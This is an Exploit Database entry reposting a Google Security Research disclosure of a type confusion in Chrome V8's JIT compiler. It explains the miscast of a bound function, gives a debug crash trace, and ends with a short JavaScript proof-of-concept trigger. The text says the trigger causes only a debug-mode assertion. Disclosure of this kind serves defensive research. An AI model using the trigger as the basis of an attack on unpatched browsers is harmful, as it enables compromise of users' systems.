Exploit Chrome V8 JIT - 'NodeProperties::InferReceiverMaps' Type Confusion

[Exploiter]

EDB-ID

44530

Проверка EDB

1. Пройдено

Автор

GOOGLE SECURITY RESEARCH

Тип уязвимости

DOS

Платформа

MULTIPLE

CVE

N/A

Дата публикации

2018-04-24

Chrome V8 JIT - 'NodeProperties::InferReceiverMaps' Type Confusion

/*
https://cs.chromium.org/chromium/src/v8/src/compiler/node-properties.cc?rcl=df84e87191022bf6914f9570069908f10b303245&l=416

Here's a snippet of NodeProperties::InferReceiverMaps.
      case IrOpcode::kJSCreate: {
        if (IsSame(receiver, effect)) {
          HeapObjectMatcher mtarget(GetValueInput(effect, 0));
          HeapObjectMatcher mnewtarget(GetValueInput(effect, 1));
          if (mtarget.HasValue() && mnewtarget.HasValue()) {
            Handle<JSFunction> original_constructor =
                Handle<JSFunction>::cast(mnewtarget.Value());

            if (original_constructor->has_initial_map()) {
              Handle<Map> initial_map(original_constructor->initial_map());
              if (initial_map->constructor_or_backpointer() ==
                  *mtarget.Value()) {
                *maps_return = ZoneHandleSet<Map>(initial_map);
                return result;
              }
            }
          }
          // We reached the allocation of the {receiver}.
          return kNoReceiverMaps;
        }
        break;
      }

"mnewtarget" is expected to be a constructor which also can be of type JSBoundFunction. But "mnewtarget" is always cast to JSFunction which leads to type confusion.

The PoC seems not to crash in release mode.

Debug mode log:
#
# Fatal error in ../../src/objects-inl.h, line 566
# Check failed: !v8::internal::FLAG_enable_slow_asserts || (object->IsJSFunction()).
#

==== C stack trace ===============================

    /v8/out.gn/x64.debug/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f4623e1043e]
    /v8/out.gn/x64.debug/./libv8_libplatform.so(+0x30907) [0x7f4623db3907]
    /v8/out.gn/x64.debug/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1bd) [0x7f4623df876d]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::JSFunction::cast(v8::internal::Object*)+0x64) [0x7f46226584a4]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::Handle<v8::internal::JSFunction> const v8::internal::Handle<v8::internal::JSFunction>::cast<v8::internal::JSFunction>(v8::internal::Handle<v8::internal::JSFunction>)+0x23) [0x7f4622651173]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::NodeProperties::InferReceiverMaps(v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::ZoneHandleSet<v8::internal::Map>*)+0x435) [0x7f4622c24a75]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::InferReceiverMaps(v8::internal::compiler::Node*, v8::internal::compiler::Node*, std::__1::vector<v8::internal::Handle<v8::internal::Map>, std::__1::allocator<v8::internal::Handle<v8::internal::Map> > >*)+0x50) [0x7f4622b8b820]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::ExtractReceiverMaps(v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::FeedbackNexus const&, std::__1::vector<v8::internal::Handle<v8::internal::Map>, std::__1::allocator<v8::internal::Handle<v8::internal::Map> > >*)+0x202) [0x7f4622b82632]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::ReduceNamedAccessFromNexus(v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::FeedbackNexus const&, v8::internal::Handle<v8::internal::Name>, v8::internal::compiler::AccessMode)+0x2e6) [0x7f4622b822b6]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::ReduceJSStoreNamed(v8::internal::compiler::Node*)+0x298) [0x7f4622b7c2c8]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::Reduce(v8::internal::compiler::Node*)+0x11f) [0x7f4622b78f7f]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::GraphReducer::Reduce(v8::internal::compiler::Node*)+0x285) [0x7f4622ad8c55]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::GraphReducer::ReduceTop()+0x44f) [0x7f4622ad874f]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::GraphReducer::ReduceNode(v8::internal::compiler::Node*)+0x1bc) [0x7f4622ad7cfc]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::GraphReducer::ReduceGraph()+0x2d) [0x7f4622ad89bd]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::InliningPhase::Run(v8::internal::compiler::PipelineData*, v8::internal::Zone*)+0x58a) [0x7f4622c46e2a]

PoC:
*/

// Flags: --allow-natives-syntax --enable_slow_asserts

class Base {
    constructor() {
        this.x = 1;
    }
}

class Derived extends Base {
    constructor() {
        // JSCreate emitted I guess.
        super();
    }
}

let bound = Object.bind();
Reflect.construct(Derived, [], bound);  // Feed a bound function as new.target to the profiler, so HeapObjectMatcher can find it.

%OptimizeFunctionOnNextCall(Derived);

new Derived();